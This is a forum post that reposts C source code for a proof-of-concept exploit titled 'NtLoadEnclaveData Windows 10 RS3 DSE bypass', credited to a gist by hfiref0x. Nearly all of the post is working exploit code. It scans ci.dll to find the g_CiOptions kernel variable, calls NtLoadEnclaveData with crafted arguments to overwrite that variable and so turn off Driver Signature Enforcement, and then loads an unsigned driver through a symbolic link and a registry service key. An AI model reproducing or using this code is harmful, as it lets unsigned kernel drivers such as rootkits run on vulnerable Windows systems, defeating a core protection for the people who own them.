Jump to content
Nytro

NtLoadEnclaveData Windows 10 RS3 DSE bypass

Recommended Posts

#include "global.h"

HINSTANCE  g_hInstance;
HANDLE     g_ConOut = NULL;
BOOL       g_ConsoleOutput = FALSE;
WCHAR      g_BE = 0xFEFF;

RTL_OSVERSIONINFOW g_osv;

#define CI_DLL          "ci.dll"

#define T_PROGRAMTITLE   TEXT("NtLoadEnclaveData write to address Demo")
#define T_PROGRAMUNSUP   TEXT("Unsupported WinNT version\r\n")
#define T_PROGRAMRUN     TEXT("Another instance running, close it before\r\n")
#define T_PROGRAMINTRO   TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n")

#define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv"

NTSTATUS NativeAdjustPrivileges(
    _In_ ULONG Privilege
)
{
    NTSTATUS Status;
    HANDLE TokenHandle;

    LUID Luid;
    TOKEN_PRIVILEGES TokenPrivileges;

    Luid.LowPart = Privilege;
    Luid.HighPart = 0;

    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Luid = Luid;
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    Status = NtOpenProcessToken(
        NtCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &TokenHandle);

    if (NT_SUCCESS(Status)) {
        Status = NtAdjustPrivilegesToken(
            TokenHandle,
            FALSE,
            &TokenPrivileges,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            NULL);

        NtClose(TokenHandle);
    }

    if (Status == STATUS_NOT_ALL_ASSIGNED)
        Status = STATUS_PRIVILEGE_NOT_HELD;

    return Status;
}

NTSTATUS NativeLoadDriver(
    _In_ PWSTR DrvFullPath,
    _In_ PWSTR KeyName,
    _In_opt_ PWSTR DisplayName,
    _In_ BOOL ReloadDrv
)
{
    UNICODE_STRING ValueName, drvName;
    OBJECT_ATTRIBUTES attr;

    HANDLE hDrvKey;
    ULONG data, dataSize = 0;
    NTSTATUS ns = STATUS_UNSUCCESSFUL;
    hDrvKey = NULL;

    __try
    {
        if (!ARGUMENT_PRESENT(KeyName)) {
            ns = STATUS_OBJECT_NAME_NOT_FOUND;
            __leave;
        }

        RtlInitUnicodeString(&drvName, KeyName);
        InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL);
        ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL);
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        if (ARGUMENT_PRESENT(DrvFullPath)) {
            RtlInitUnicodeString(&ValueName, L"ImagePath");
            dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR);
            ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize);
            if (!NT_SUCCESS(ns)) {
                __leave;
            }
        }

        data = 1;
        RtlInitUnicodeString(&ValueName, L"Type");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        data = 3;
        RtlInitUnicodeString(&ValueName, L"Start");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        data = SERVICE_ERROR_NORMAL;
        RtlInitUnicodeString(&ValueName, L"ErrorControl");
        ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD));
        if (!NT_SUCCESS(ns)) {
            __leave;
        }

        if (ARGUMENT_PRESENT(DisplayName)) {
            RtlInitUnicodeString(&ValueName, L"DisplayName");
            dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR);
            ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize);
            if (!NT_SUCCESS(ns)) {
                __leave;
            }
        }
        NtClose(hDrvKey);
        hDrvKey = NULL;

        ns = NtLoadDriver(&drvName);
        if (ns == STATUS_IMAGE_ALREADY_LOADED) {
            if (ReloadDrv == TRUE) {
                NtUnloadDriver(&drvName); //unload previous driver version
                NtYieldExecution();
                ns = NtLoadDriver(&drvName);
            }
            else {
                ns = STATUS_SUCCESS;
            }
        }

    }
    __finally {
        if (hDrvKey != NULL) {
            NtClose(hDrvKey);
        }
    }
    return ns;
}

LONG QueryCiOptions(
    _In_ PVOID MappedBase,
    _Inout_ ULONG_PTR *KernelBase
)
{
    PBYTE        CiInitialize = NULL;
    ULONG        c, j = 0;
    LONG         rel = 0;
    hde64s hs;

    CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize");
    if (CiInitialize == NULL)
        return 0;

    if (g_osv.dwBuildNumber > 16199) {

        c = 0;
        j = 0;
        do {

            /* call CipInitialize */
            if (CiInitialize[c] == 0xE8)
                j++;

            if (j > 1) {
                rel = *(PLONG)(CiInitialize + c + 1);
                break;
            }

            hde64_disasm(CiInitialize + c, &hs);
            if (hs.flags & F_ERROR)
                break;
            c += hs.len;

        } while (c < 256);

    }
    else {

        c = 0;
        do {

            /* jmp CipInitialize */
            if (CiInitialize[c] == 0xE9) {
                rel = *(PLONG)(CiInitialize + c + 1);
                break;
            }
            hde64_disasm(CiInitialize + c, &hs);
            if (hs.flags & F_ERROR)
                break;
            c += hs.len;

        } while (c < 256);

    }

    CiInitialize = CiInitialize + c + 5 + rel;
    c = 0;
    do {

        if (*(PUSHORT)(CiInitialize + c) == 0x0d89) {
            rel = *(PLONG)(CiInitialize + c + 2);
            break;
        }
        hde64_disasm(CiInitialize + c, &hs);
        if (hs.flags & F_ERROR)
            break;
        c += hs.len;

    } while (c < 256);

    CiInitialize = CiInitialize + c + 6 + rel;

    *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase;

    return rel;
}

ULONG_PTR QueryVariableAddress(
    VOID
)
{
    LONG rel = 0;
    ULONG_PTR Result = 0, ModuleKernelBase = 0;
    CHAR *szModuleName;
    WCHAR *wszErrorEvent, *wszSuccessEvent;
    PVOID MappedBase = NULL;

    CHAR szFullModuleName[MAX_PATH * 2];

    szModuleName = CI_DLL;
    wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized");
    wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search");

    ModuleKernelBase = supGetModuleBaseByName(szModuleName);
    if (ModuleKernelBase == 0) {
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);
        return 0;
    }

    szFullModuleName[0] = 0;
    if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH))
        return 0;
    _strcat_a(szFullModuleName, "\\");
    _strcat_a(szFullModuleName, szModuleName);

   // _strcpy(szFullModuleName, "C:\\malware\\ci.dll");

    MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (MappedBase) {

        cuiPrintText(g_ConOut,
            wszSuccessEvent,
            g_ConsoleOutput, TRUE);

        rel = QueryCiOptions(
            MappedBase,
            &ModuleKernelBase);

        if (rel != 0) {
            Result = ModuleKernelBase;
        }
        FreeLibrary(MappedBase);
    }
    else {
        wszErrorEvent = TEXT("Ldr: Cannot load CI.dll");
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);
    }

    return Result;
}

VOID LoadDriver()
{
    NTSTATUS Status;

    HANDLE Link = NULL;

    UNICODE_STRING str, drvname;
    OBJECT_ATTRIBUTES Obja;

    WCHAR szBuffer[MAX_PATH + 1];

    Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE);
    if (!NT_SUCCESS(Status)) {
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
        return;
    }

    _strcpy(szBuffer, L"\\??\\");
    _strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer);
    _strcat(szBuffer, L"dummy.sys");

    RtlInitUnicodeString(&str, L"\\*");
    RtlInitUnicodeString(&drvname, szBuffer);
    InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL);

    Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname);
    if (!NT_SUCCESS(Status)) {
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
    }
    else {

        Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE);
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x"));
        ultohex(Status, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);

        if (Link)
            NtClose(Link);
    }
}

typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)(
    ULONG_PTR Param1,
    ULONG_PTR Param2,
    ULONG_PTR Param3,
    ULONG_PTR Param4,
    ULONG_PTR Param5,
    ULONG_PTR Param6,
    ULONG_PTR Param7,
    ULONG_PTR Param8,
    ULONG_PTR Param9
    );

pfnNtLoadEnclaveData NtLoadEnclaveData;

UINT NtLoadEnclaveDataDemo()
{
    NTSTATUS Status = STATUS_SUCCESS;
    HMODULE hNtdll;
    ULONG_PTR g_CiOptions = 0;
    WCHAR *wszErrorEvent;
    WCHAR szBuffer[MAX_PATH];

    g_CiOptions = QueryVariableAddress();
    if (g_CiOptions != 0) {
        _strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x"));
        u64tohex(g_CiOptions, _strend(szBuffer));
        cuiPrintText(g_ConOut,
            szBuffer,
            g_ConsoleOutput, TRUE);
    }
    else {
        wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found.");
        cuiPrintText(g_ConOut,
            wszErrorEvent,
            g_ConsoleOutput, TRUE);

        return 0;
    }

    hNtdll = GetModuleHandle(TEXT("ntdll.dll"));
    if (hNtdll) {
        NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll,
            "NtLoadEnclaveData");

        if (NtLoadEnclaveData) {

            Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF,
                0x00007FFFFFFFFFFE,
                0x00007FFFFFFEFFFE,
                0x000000000000FFFF,
                0x00007FFFFFFEFFFE,
                0x00007FFFFFFFFFFF,
                0xFFFF800000000000,
                0x000000000000FFFF,
                g_CiOptions);

            RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
            _strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x"));
            ultohex((ULONG)Status, _strend(szBuffer));
            cuiPrintText(g_ConOut,
                szBuffer,
                g_ConsoleOutput, TRUE);

            if (Status == STATUS_ACCESS_VIOLATION) {
                _strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver"));
                cuiPrintText(g_ConOut,
                    szBuffer,
                    g_ConsoleOutput, TRUE);
                LoadDriver();
            }
        }
        else {
            wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found.");
            cuiPrintText(g_ConOut,
                wszErrorEvent,
                g_ConsoleOutput, TRUE);
        }
    }

    return (UINT)Status;
}

void DSEFixMain()
{
    BOOL bCond = FALSE;
    UINT uResult = 0;
    DWORD dwTemp;
    WCHAR text[256];

    __security_init_cookie();

    do {
        g_hInstance = GetModuleHandle(NULL);
        g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE);
        if (g_ConOut == INVALID_HANDLE_VALUE) {
            uResult = (UINT)-1;
            break;
        }
        g_ConsoleOutput = TRUE;
        if (!GetConsoleMode(g_ConOut, &dwTemp)) {
            g_ConsoleOutput = FALSE;
        }
        SetConsoleTitle(T_PROGRAMTITLE);
        SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT);
        if (g_ConsoleOutput == FALSE) {
            WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL);
        }

        cuiPrintText(g_ConOut,
            T_PROGRAMINTRO,
            g_ConsoleOutput, TRUE);

        RtlSecureZeroMemory(&g_osv, sizeof(g_osv));
        g_osv.dwOSVersionInfoSize = sizeof(g_osv);
        RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv);
#ifndef _DEBUG
        if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16241)) {
            cuiPrintText(g_ConOut,
                T_PROGRAMUNSUP,
                g_ConsoleOutput, TRUE);
            uResult = (UINT)-1;
            break;
        }
#endif

        _strcpy(text, TEXT("Ldr: Windows v"));
        ultostr(g_osv.dwMajorVersion, _strend(text));
        _strcat(text, TEXT("."));
        ultostr(g_osv.dwMinorVersion, _strend(text));
        _strcat(text, TEXT(" build "));
        ultostr(g_osv.dwBuildNumber, _strend(text));
        cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE);

        uResult = NtLoadEnclaveDataDemo();

        cuiPrintText(g_ConOut,
            TEXT("Ldr: Exit"),
            g_ConsoleOutput, TRUE);

    } while (bCond);

    ExitProcess(uResult);
}

hfiref0x

 

Sursa: https://gist.github.com/hfiref0x/1ac328a8e73d053012e02955d38e36a8

 

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...